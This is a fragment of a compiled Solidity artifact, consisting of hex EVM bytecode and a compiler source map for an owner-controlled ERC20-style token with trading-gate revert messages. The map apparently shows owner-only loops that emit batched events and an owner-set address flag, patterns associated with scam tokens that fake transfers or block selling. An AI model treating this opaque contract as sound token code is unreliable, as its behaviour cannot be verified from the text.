88289016124aa565b955050602086013567ffffffffffffffff81111561273c5761273b6122df565b5b612748888289016122ef565b9450945050604086013567ffffffffffffffff81111561276b5761276a6122df565b5b612777888289016126a0565b92509250509295509295909350565b5f6020828403121561279b5761279a6122db565b5b5f6127a8848285016124aa565b91505092915050565b5f602082840312156127c6576127c56122db565b5b5f6127d384828501612363565b91505092915050565b5f80604083850312156127f2576127f16122db565b5b5f6127ff858286016124aa565b9250506020612810858286016124aa565b9150509250929050565b5f819050919050565b5f61283d61283861283384612464565b61281a565b612464565b9050919050565b5f61284e82612823565b9050919050565b5f61285f82612844565b9050919050565b61286f81612855565b82525050565b5f6020820190506128885f830184612866565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806128ff57607f821691505b602082108103612912576129116128bb565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f6129726028836123de565b915061297d82612918565b604082019050919050565b5f6020820190508181035f83015261299f81612966565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6129dd82612344565b91506129e883612344565b9250828201905080821115612a00576129ff6129a6565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612a3a6020836123de565b9150612a4582612a06565b602082019050919050565b5f6020820190508181035f830152612a6781612a2e565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f612ac86025836123de565b9150612ad382612a6e565b604082019050919050565b5f6020820190508181035f830152612af581612abc565b9050919050565b7f436f6e74726163743a2054726164696e67206973206f70656e656421000000005f82015250565b5f612b30601c836123de565b9150612b3b82612afc565b602082019050919050565b5f6020820190508181035f830152612b5d81612b24565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612bbe6026836123de565b9150612bc982612b64565b604082019050919050565b5f6020820190508181035f830152612beb81612bb2565b9050919050565b7f436f6e74726163743a206e6f7420696e697469616c697a6564210000000000005f82015250565b5f612c26601a836123de565b9150612c3182612bf2565b602082019050919050565b5f6020820190508181035f830152612c5381612c1a565b9050919050565b7f436f6e74726163743a2074726164696e67206973206e6f7420737461727465645f82015250565b5f612c8e6020836123de565b9150612c9982612c5a565b602082019050919050565b5f6020820190508181035f830152612cbb81612c82565b9050919050565b5f612ccc82612344565b9150612cd783612344565b9250828202612ce581612344565b91508282048414831517612cfc57612cfb6129a6565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612d3a82612344565b9150612d4583612344565b925082612d5557612d54612d03565b5b828204905092915050565b5f612d6a82612344565b9150612d7583612344565b9250828203905081811115612d8d57612d8c6129a6565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612ded6024836123de565b9150612df882612d93565b604082019050919050565b5f6020820190508181035f830152612e1a81612de1565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612e7b6022836123de565b9150612e8682612e21565b604082019050919050565b5f6020820190508181035f830152612ea881612e6f565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612f096025836123de565b9150612f1482612eaf565b604082019050919050565b5f6020820190508181035f830152612f3681612efd565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612f976023836123de565b9150612fa282612f3d565b604082019050919050565b5f6020820190508181035f830152612fc481612f8b565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6130256026836123de565b915061303082612fcb565b604082019050919050565b5f6020820190508181035f83015261305281613019565b905091905056fea2646970667358221220d0b3028f25a17fee38dc9c5b27322d3fb963739fa78d7125b3ac96a577eddd6b64736f6c634300081a0033

9716:4960:2:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11551:272;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3101:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4206:194;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9946:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3422:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4408:529;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9984:29;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10059:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10181:36;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3321:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4945:290;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10139:35;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9892:45;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11260:128;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12418:282;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3538:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;823:103;;;:::i;:::-;;12125:285;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10265:44;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;601:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3209:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11831:286;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9843:42;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5243:475;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10020:32;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3689:200;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11096:156;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11396:147;;;:::i;:::-;;9755:81;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13012:282;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3897:176;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12708:296;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;934:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10436:32;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11551:272;11663:13;11679:12;:10;:12::i;:::-;11663:28;;11707:9;11702:114;11726:10;;:17;;11722:1;:21;11702:114;;;11765:39;11775:5;11782:10;;11793:1;11782:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;11797:6;11765:9;:39::i;:::-;11745:3;;;;;;;11702:114;;;;11652:171;11551:272;;;:::o;3101:100::-;3155:13;3188:5;3181:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3101:100;:::o;4206:194::-;4314:4;4331:39;4340:12;:10;:12::i;:::-;4354:7;4363:6;4331:8;:39::i;:::-;4388:4;4381:11;;4206:194;;;;:::o;9946:31::-;;;;;;;;;;;;;:::o;3422:108::-;3483:7;3510:12;;3503:19;;3422:108;:::o;4408:529::-;4548:4;4565:36;4575:6;4583:9;4594:6;4565:9;:36::i;:::-;4614:24;4641:11;:19;4653:6;4641:19;;;;;;;;;;;;;;;:33;4661:12;:10;:12::i;:::-;4641:33;;;;;;;;;;;;;;;;4614:60;;4727:6;4707:16;:26;;4685:116;;;;;;;;;;;;:::i;:::-;;;;;;;;;4837:57;4846:6;4854:12;:10;:12::i;:::-;4887:6;4868:16;:25;4837:8;:57::i;:::-;4925:4;4918:11;;;4408:529;;;;;:::o;9984:29::-;;;;;;;;;;;;;:::o;10059:71::-;;;;;;;;;;;;;:::o;10181:36::-;;;:::o;3321:93::-;3379:5;3404:2;3397:9;;3321:93;:::o;4945:290::-;5058:4;5075:130;5098:12;:10;:12::i;:::-;5125:7;5184:10;5147:11;:25;5159:12;:10;:12::i;:::-;5147:25;;;;;;;;;;;;;;;:34;5173:7;5147:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;5075:8;:130::i;:::-;5223:4;5216:11;;4945:290;;;;:::o;10139:35::-;;;:::o;9892:45::-;9932:5;9892:45;:::o;11260:128::-;746:12;:10;:12::i;:::-;736:22;;:6;;;;;;;;;;:22;;;728:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11370:10:::1;11345:12;:22;11358:8;11345:22;;;;;;;;;;;;;;;;:35;;;;;;;;;;;;;;;;;;11260:128:::0;;:::o;12418:282::-;746:12;:10;:12::i;:::-;736:22;;:6;;;;;;;;;;:22;;;728:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12578:9:::1;12573:120;12597:8;;:15;;12593:1;:19;12573:120;;;12657:8;;12666:1;12657:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;12639:42;;12648:7;12639:42;;;12670:7;;12678:1;12670:10;;;;;;;:::i;:::-;;;;;;;;12639:42;;;;;;:::i;:::-;;;;;;;;12614:3;;;;;;;12573:120;;;;12418:282:::0;;;;;:::o;3538:143::-;3628:7;3655:9;:18;3665:7;3655:18;;;;;;;;;;;;;;;;3648:25;;3538:143;;;:::o;823:103::-;746:12;:10;:12::i;:::-;736:22;;:6;;;;;;;;;;:22;;;728:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;888:30:::1;915:1;888:18;:30::i;:::-;823:103::o:0;12125:285::-;746:12;:10;:12::i;:::-;736:22;;:6;;;;;;;;;;:22;;;728:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12288:9:::1;12283:120;12307:8;;:15;;12303:1;:19;12283:120;;;12367:8;;12376:1;12367:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;12349:42;;12358:7;12349:42;;;12380:7;;12388:1;12380:10;;;;;;;:::i;:::-;;;;;;;;12349:42;;;;;;:::i;:::-;;;;;;;;12324:3;;;;;;;12283:120;;;;12125:285:::0;;;;;:::o;10265:44::-;;;;;;;;;;;;;;;;;;;;;;:::o;601:87::-;647:7;674:6;;;;;;;;;;;667:13;;601:87;:::o;3209:104::-;3265:13;3298:7;3291:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3209:104;:::o;11831:286::-;746:12;:10;:12::i;:::-;736:22;;:6;;;;;;;;;;:22;;;728:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11995:9:::1;11990:120;12014:8;;:15;;12010:1;:19;11990:120;;;12074:8;;12083:1;12074:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;12056:42;;12065:7;12056:42;;;12087:7;;12095:1;12087:10;;;;;;;:::i;:::-;;;;;;;;12056:42;;;;;;:::i;:::-;;;;;;;;12031:3;;;;;;;11990:120;;;;11831:286:::0;;;;;:::o;9843:42::-;9880:5;9843:42;:::o;5243:475::-;5361:4;5378:24;5405:11;:25;5417:12;:10;:12::i;:::-;5405:25;;;;;;;;;;;;;;;:34;5431:7;5405:34;;;;;;;;;;;;;;;;5378:61;;5492:15;5472:16;:35;;5450:122;;;;;;;;;;;;:::i;:::-;;;;;;;;;5608:67;5617:12;:10;:12::i;:::-;5631:7;5659:15;5640:16;:34;5608:8;:67::i;:::-;5706:4;5699:11;;;5243:475;;;;:::o;10020:32::-;;;;;;;;;;;;;:::o;3689:200::-;3800:4;3817:42;3827:12;:10;:12::i;:::-;3841:9;3852:6;3817:9;:42::i;:::-;3877:4;3870:11;;3689:200;;;;:::o;11096:156::-;746:12;:10;:12::i;:::-;736:22;;:6;;;;;;;;;;:22;;;728:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11223:21:::1;11200:20;:44;;;;11096:156:::0;:::o;11396:147::-;746:12;:10;:12::i;:::-;736:22;;:6;;;;;;;;;;:22;;;728:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11470:5:::1;11457:18;;:9;;;;;;;;;;;:18;;;11449:59;;;;;;;;;;;;:::i;:::-;;;;;;;;;11531:4;11519:9;;:16;;;;;;;;;;;;;;;;;;11396:147::o:0;9755:81::-;;;:::o;13012:282::-;746:12;:10;:12::i;:::-;736:22;;:6;;;;;;;;;;:22;;;728:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13172:9:::1;13167:120;13191:8;;:15;;13187:1;:19;13167:120;;;13251:8;;13260:1;13251:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;13233:42;;13242:7;13233:42;;;13264:7;;13272:1;13264:10;;;;;;;:::i;:::-;;;;;;;;13233:42;;;;;;:::i;:::-;;;;;;;;13208:3;;;;;;;13167:120;;;;13012:282:::0;;;;;:::o;3897:176::-;4011:7;4038:11;:18;4050:5;4038:18;;;;;;;;;;;;;;;:27;4057:7;4038:27;;;;;;;;;;;;;;;;4031:34;;3897:176;;;;:::o;12708:296::-;746:12;:10;:12::i;:::-;736:22;;:6;;;;;;;;;;:22;;;728:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12882:9:::1;12877:120;12901:8;;:15;;12897:1;:19;12877:120;;;12961:8;;12970:1;12961:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;12943:42;;12952:7;12943:42;;;12974:7;;12982:1;12974:10;;;;;;;:::i;:::-;;;;;;;;12943:42;;;;;;:::i;:::-;;;;;;;;12918:3;;;;;;;12877:120;;;;12708:296:::0;;;;;:::o;934:238::-;746:12;:10;:12::i;:::-;736:22;;:6;;;;;;;;;;:22;;;728:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1057:1:::1;1037:22;;:8;:22;;::::0;1015:110:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;1136:28;1155:8;1136:18;:28::i;:::-;934:238:::0;:::o;10436:32::-;;;;;;;;;;;;;:::o;95:98::-;148:7;175:10;168:17;;95:98;:::o;13457:1216::-;13611:4;13596:19;;:11;;;;;;;;;;;:19;;;13588:58;;;;;;;;;;;;:::i;:::-;;;;;;;;;13678:4;13663:19;;:11;;;;;;;;;;;:19;;;:41;;;;;13699:5;13686:18;;:9;;;;;;;;;;;:18;;;13663:41;13659:200;;;13755:7;:5;:7::i;:::-;13747:15;;:4;:15;;;:32;;;;13772:7;:5;:7::i;:::-;13766:13;;:2;:13;;;13747:32;13721:126;;;;;;;;;;;;:::i;:::-;;;;;;;;;13659:200;13871:23;13897:6;13871:32;;13934:1;13918:18;;:4;;;;;;;;;;;:18;;;;:37;;;;;13948:7;:5;:7::i;:::-;13940:15;;:4;:15;;;;13918:37;:54;;;;;13965:7;:5;:7::i;:::-;13959:13;;:2;:13;;;;13918:54;13914:697;;;13989:12;14032:4;;;;;;;;;;;14024:12;;:4;:12;;;14020:66;;14064:6;14057:13;;14020:66;14110:4;;;;;;;;;;;14104:10;;:2;:10;;;14100:134;;14142:7;14135:14;;14168:50;14197:20;;14168:28;:50::i;:::-;14100:134;14274:4;14252:26;;:12;:18;14265:4;14252:18;;;;;;;;;;;;;;;;;;;;;;;;;:26;;;:54;;;;14302:4;14282:24;;:12;:16;14295:2;14282:16;;;;;;;;;;;;;;;;;;;;;;;;;:24;;;14252:54;14248:103;;;14334:1;14327:8;;14248:103;14376:1;14369:4;:8;14365:235;;;14398:22;9932:5;14423:32;;14433:4;14424:6;:13;;;;:::i;:::-;14423:32;;;;:::i;:::-;14398:57;;14501:14;14492:6;:23;;;;:::i;:::-;14474:41;;14534:50;14550:4;14556:11;;;;;;;;;;;14569:14;14534:15;:50::i;:::-;14379:221;14365:235;13974:637;13914:697;14623:42;14639:4;14645:2;14649:15;14623;:42::i;:::-;13577:1096;13457:1216;;;:::o;7869:380::-;8022:1;8005:19;;:5;:19;;;7997:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8103:1;8084:21;;:7;:21;;;8076:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8187:6;8157:11;:18;8169:5;8157:18;;;;;;;;;;;;;;;:27;8176:7;8157:27;;;;;;;;;;;;;;;:36;;;;8225:7;8209:32;;8218:5;8209:32;;;8234:6;8209:32;;;;;;:::i;:::-;;;;;;;;7869:380;;;:::o;1180:191::-;1254:16;1273:6;;;;;;;;;;;1254:25;;1299:8;1290:6;;:17;;;;;;;;;;;;;;;;;;1354:8;1323:40;;1344:8;1323:40;;;;;;;;;;;;1243:128;1180:191;:::o;13302:147::-;13399:6;13385:11;:20;13381:61;;;13422:8;;;13381:61;13302:147;:::o;5726:998::-;5884:1;5866:20;;:6;:20;;;5858:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;5968:1;5947:23;;:9;:23;;;5939:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;6023:47;6044:6;6052:9;6063:6;6023:20;:47::i;:::-;6083:21;6107:9;:17;6117:6;6107:17;;;;;;;;;;;;;;;;6083:41;;6174:6;6157:13;:23;;6135:111;;;;;;;;;;;;:::i;:::-;;;;;;;;;6318:6;6302:13;:22;6282:9;:17;6292:6;6282:17;;;;;;;;;;;;;;;:42;;;;6370:6;6346:9;:20;6356:9;6346:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;6403:9;;;;;;;;;;;6393:19;;:6;:19;;;6389:269;;6454:9;6434:38;;6443:9;;;;;;;;;;;6434:38;;;6465:6;6434:38;;;;;;:::i;:::-;;;;;;;;6389:269;;;6507:9;;;;;;;;;;;6494:22;;:9;:22;;;6490:168;;6555:9;;;;;;;;;;;6538:35;;6547:6;6538:35;;;6566:6;6538:35;;;;;;:::i;:::-;;;;;;;;6490:168;;;6628:9;6611:35;;6620:6;6611:35;;;6639:6;6611:35;;;;;;:::i;:::-;;;;;;;;6490:168;6389:269;6670:46;6690:6;6698:9;6709:6;6670:19;:46::i;:::-;5847:877;5726:998;;;:::o;8257:125::-;;;;:::o;8390:124::-;;;;:::o;88:117:14:-;197:1;194;187:12;211:117;320:1;317;310:12;334:117;443:1;440;433:12;457:117;566:1;563;556:12;580:117;689:1;686;679:12;720:568;793:8;803:6;853:3;846:4;838:6;834:17;830:27;820:122;;861:79;;:::i;:::-;820:122;974:6;961:20;951:30;;1004:18;996:6;993:30;990:117;;;1026:79;;:::i;:::-;990:117;1140:4;1132:6;1128:17;1116:29;;1194:3;1186:4;1178:6;1174:17;1164:8;1160:32;1157:41;1154:128;;;1201:79;;:::i;:::-;1154:128;720:568;;;;;:::o;1294:77::-;1331:7;1360:5;1349:16;;1294:77;;;:::o;1377:122::-;1450:24;1468:5;1450:24;:::i;:::-;1443:5;1440:35;1430:63;;1489:1;1486;1479:12;1430:63;1377:122;:::o;1505:139::-;1551:5;1589:6;1576:20;1567:29;;1605:33;1632:5;1605:33;:::i;:::-;1505:139;;;;:::o;1650:704::-;1745:6;1753;1761;1810:2;1798:9;1789:7;1785:23;1781:32;1778:119;;;1816:79;;:::i;:::-;1778:119;1964:1;1953:9;1949:17;1936:31;1994:18;1986:6;1983:30;1980:117;;;2016:79;;:::i;:::-;1980:117;2129:80;2201:7;2192:6;2181:9;2177:22;2129:80;:::i;:::-;2111:98;;;;1907:312;2258:2;2284:53;2329:7;2320:6;2309:9;2305:22;2284:53;:::i;:::-;2274:63;;2229:118;1650:704;;;;;:::o;2360:99::-;2412:6;2446:5;2440:12;2430:22;;2360:99;;;:::o;2465:169::-;2549:11;2583:6;2578:3;2571:19;2623:4;2618:3;2614:14;2599:29;;2465:169;;;;:::o;2640:139::-;2729:6;2724:3;2719;2713:23;2770:1;2761:6;2756:3;2752:16;2745:27;2640:139;;;:::o;2785:102::-;2826:6;2877:2;2873:7;2868:2;2861:5;2857:14;2853:28;2843:38;;2785:102;;;:::o;2893:377::-;2981:3;3009:39;3042:5;3009:39;:::i;:::-;3064:71;3128:6;3123:3;3064:71;:::i;:::-;3057:78;;3144:65;3202:6;3197:3;3190:4;3183:5;3179:16;3144:65;:::i;:::-;3234:29;3256:6;3234:29;:::i;:::-;3229:3;3225:39;3218:46;;2985:285;2893:377;;;;:::o;3276:313::-;3389:4;3427:2;3416:9;3412:18;3404:26;;3476:9;3470:4;3466:20;3462:1;3451:9;3447:17;3440:47;3504:78;3577:4;3568:6;3504:78;:::i;:::-;3496:86;;3276:313;;;;:::o;3595:126::-;3632:7;3672:42;3665:5;3661:54;3650:65;;3595:126;;;:::o;3727:96::-;3764:7;3793:24;3811:5;3793:24;:::i;:::-;3782:35;;3727:96;;;:::o;3829:122::-;3902:24;3920:5;3902:24;:::i;:::-;3895:5;3892:35;3882:63;;3941:1;3938;3931:12;3882:63;3829:122;:::o;3957:139::-;4003:5;4041:6;4028:20;4019:29;;4057:33;4084:5;4057:33;:::i;:::-;3957:139;;;;:::o;4102:474::-;4170:6;4178;4227:2;4215:9;4206:7;4202:23;4198:32;4195:119;;;4233:79;;:::i;:::-;4195:119;4353:1;4378:53;4423:7;4414:6;4403:9;4399:22;4378:53;:::i;:::-;4368:63;;4324:117;4480:2;4506:53;4551:7;4542:6;4531:9;4527:22;4506:53;:::i;:::-;4496:63;;4451:118;4102:474;;;;;:::o;4582:90::-;4616:7;4659:5;4652:13;4645:21;4634:32;;4582:90;;;:::o;4678:109::-;4759:21;4774:5;4759:21;:::i;:::-;4754:3;4747:34;4678:109;;:::o;4793:210::-;4880:4;4918:2;4907:9;4903:18;4895:26;;4931:65;4993:1;4982:9;4978:17;4969:6;4931:65;:::i;:::-;4793:210;;;;:::o;5009:118::-;5096:24;5114:5;5096:24;:::i;:::-;5091:3;5084:37;5009:118;;:::o;5133:222::-;5226:4;5264:2;5253:9;5249:18;5241:26;;5277:71;5345:1;5334:9;5330:17;5321:6;5277:71;:::i;:::-;5133:222;;;;:::o;5361:619::-;5438:6;5446;5454;5503:2;5491:9;5482:7;5478:23;5474:32;5471:119;;;5509:79;;:::i;:::-;5471:119;5629:1;5654:53;5699:7;5690:6;5679:9;5675:22;5654:53;:::i;:::-;5644:63;;5600:117;5756:2;5782:53;5827:7;5818:6;5807:9;5803:22;5782:53;:::i;:::-;5772:63;;5727:118;5884:2;5910:53;5955:7;5946:6;5935:9;5931:22;5910:53;:::i;:::-;5900:63;;5855:118;5361:619;;;;;:::o;5986:118::-;6073:24;6091:5;6073:24;:::i;:::-;6068:3;6061:37;5986:118;;:::o;6110:222::-;6203:4;6241:2;6230:9;6226:18;6218:26;;6254:71;6322:1;6311:9;6307:17;6298:6;6254:71;:::i;:::-;6110:222;;;;:::o;6338:86::-;6373:7;6413:4;6406:5;6402:16;6391:27;;6338:86;;;:::o;6430:112::-;6513:22;6529:5;6513:22;:::i;:::-;6508:3;6501:35;6430:112;;:::o;6548:214::-;6637:4;6675:2;6664:9;6660:18;6652:26;;6688:67;6752:1;6741:9;6737:17;6728:6;6688:67;:::i;:::-;6548:214;;;;:::o;6768:89::-;6804:7;6844:6;6837:5;6833:18;6822:29;;6768:89;;;:::o;6863:115::-;6948:23;6965:5;6948:23;:::i;:::-;6943:3;6936:36;6863:115;;:::o;6984:218::-;7075:4;7113:2;7102:9;7098:18;7090:26;;7126:69;7192:1;7181:9;7177:17;7168:6;7126:69;:::i;:::-;6984:218;;;;:::o;7208:116::-;7278:21;7293:5;7278:21;:::i;:::-;7271:5;7268:32;7258:60;;7314:1;7311;7304:12;7258:60;7208:116;:::o;7330:133::-;7373:5;7411:6;7398:20;7389:29;;7427:30;7451:5;7427:30;:::i;:::-;7330:133;;;;:::o;7469:468::-;7534:6;7542;7591:2;7579:9;7570:7;7566:23;7562:32;7559:119;;;7597:79;;:::i;:::-;7559:119;7717:1;7742:53;7787:7;7778:6;7767:9;7763:22;7742:53;:::i;:::-;7732:63;;7688:117;7844:2;7870:50;7912:7;7903:6;7892:9;7888:22;7870:50;:::i;:::-;7860:60;;7815:115;7469:468;;;;;:::o;7960:568::-;8033:8;8043:6;8093:3;8086:4;8078:6;8074:17;8070:27;8060:122;;8101:79;;:::i;:::-;8060:122;8214:6;8201:20;8191:30;;8244:18;8236:6;8233:30;8230:117;;;8266:79;;:::i;:::-;8230:117;8380:4;8372:6;8368:17;8356:29;;8434:3;8426:4;8418:6;8414:17;8404:8;8400:32;8397:41;8394:128;;;8441:79;;:::i;:::-;8394:128;7960:568;;;;;:::o;8534:1079::-;8665:6;8673;8681;8689;8697;8746:2;8734:9;8725:7;8721:23;8717:32;8714:119;;;8752:79;;:::i;:::-;8714:119;8872:1;8897:53;8942:7;8933:6;8922:9;8918:22;8897:53;:::i;:::-;8887:63;;8843:117;9027:2;9016:9;9012:18;8999:32;9058:18;9050:6;9047:30;9044:117;;;9080:79;;:::i;:::-;9044:117;9193:80;9265:7;9256:6;9245:9;9241:22;9193:80;:::i;:::-;9175:98;;;;8970:313;9350:2;9339:9;9335:18;9322:32;9381:18;9373:6;9370:30;9367:117;;;9403:79;;:::i;:::-;9367:117;9516:80;9588:7;9579:6;9568:9;9564:22;9516:80;:::i;:::-;9498:98;;;;9293:313;8534:1079;;;;;;;;:::o;9619:329::-;9678:6;9727:2;9715:9;9706:7;9702:23;9698:32;9695:119;;;9733:79;;:::i;:::-;9695:119;9853:1;9878:53;9923:7;9914:6;9903:9;9899:22;9878:53;:::i;:::-;9868:63;;9824:117;9619:329;;;;:::o;9954:::-;10013:6;10062:2;10050:9;10041:7;10037:23;10033:32;10030:119;;;10068:79;;:::i;:::-;10030:119;10188:1;10213:53;10258:7;10249:6;10238:9;10234:22;10213:53;:::i;:::-;10203:63;;10159:117;9954:329;;;;:::o;10289:474::-;10357:6;10365;10414:2;10402:9;10393:7;10389:23;10385:32;10382:119;;;10420:79;;:::i;:::-;10382:119;10540:1;10565:53;10610:7;10601:6;10590:9;10586:22;10565:53;:::i;:::-;10555:63;;10511:117;10667:2;10693:53;10738:7;10729:6;10718:9;10714:22;10693:53;:::i;:::-;10683:63;;10638:118;10289:474;;;;;:::o;10769:60::-;10797:3;10818:5;10811:12;;10769:60;;;:::o;10835:142::-;10885:9;10918:53;10936:34;10945:24;10963:5;10945:24;:::i;:::-;10936:34;:::i;:::-;10918:53;:::i;:::-;10905:66;;10835:142;;;:::o;10983:126::-;11033:9;11066:37;11097:5;11066:37;:::i;:::-;11053:50;;10983:126;;;:::o;11115:153::-;11192:9;11225:37;11256:5;11225:37;:::i;:::-;11212:50;;11115:153;;;:::o;11274:185::-;11388:64;11446:5;11388:64;:::i;:::-;11383:3;11376:77;11274:185;;:::o;11465:276::-;11585:4;11623:2;11612:9;11608:18;11600:26;;11636:98;11731:1;11720:9;11716:17;11707:6;11636:98;:::i;:::-;11465:276;;;;:::o;11747:180::-;11795:77;11792:1;11785:88;11892:4;11889:1;11882:15;11916:4;11913:1;11906:15;11933:180;11981:77;11978:1;11971:88;12078:4;12075:1;12068:15;12102:4;12099:1;12092:15;12119:320;12163:6;12200:1;12194:4;12190:12;12180:22;;12247:1;12241:4;12237:12;12268:18;12258:81;;12324:4;12316:6;12312:17;12302:27;;12258:81;12386:2;12378:6;12375:14;12355:18;12352:38;12349:84;;12405:18;;:::i;:::-;12349:84;12170:269;12119:320;;;:::o;12445:227::-;12585:34;12581:1;12573:6;12569:14;12562:58;12654:10;12649:2;12641:6;12637:15;12630:35;12445:227;:::o;12678:366::-;12820:3;12841:67;12905:2;12900:3;12841:67;:::i;:::-;12834:74;;12917:93;13006:3;12917:93;:::i;:::-;13035:2;13030:3;13026:12;13019:19;;12678:366;;;:::o;13050:419::-;13216:4;13254:2;13243:9;13239:18;13231:26;;13303:9;13297:4;13293:20;13289:1;13278:9;13274:17;13267:47;13331:131;13457:4;13331:131;:::i;:::-;13323:139;;13050:419;;;:::o;13475:180::-;13523:77;13520:1;13513:88;13620:4;13617:1;13610:15;13644:4;13641:1;13634:15;13661:191;13701:3;13720:20;13738:1;13720:20;:::i;:::-;13715:25;;13754:20;13772:1;13754:20;:::i;:::-;13749:25;;13797:1;13794;13790:9;13783:16;;13818:3;13815:1;13812:10;13809:36;;;13825:18;;:::i;:::-;13809:36;13661:191;;;;:::o;13858:182::-;13998:34;13994:1;13986:6;13982:14;13975:58;13858:182;:::o;14046:366::-;14188:3;14209:67;14273:2;14268:3;14209:67;:::i;:::-;14202:74;;14285:93;14374:3;14285:93;:::i;:::-;14403:2;14398:3;14394:12;14387:19;;14046:366;;;:::o;14418:419::-;14584:4;14622:2;14611:9;14607:18;14599:26;;14671:9;14665:4;14661:20;14657:1;14646:9;14642:17;14635:47;14699:131;14825:4;14699:131;:::i;:::-;14691:139;;14418:419;;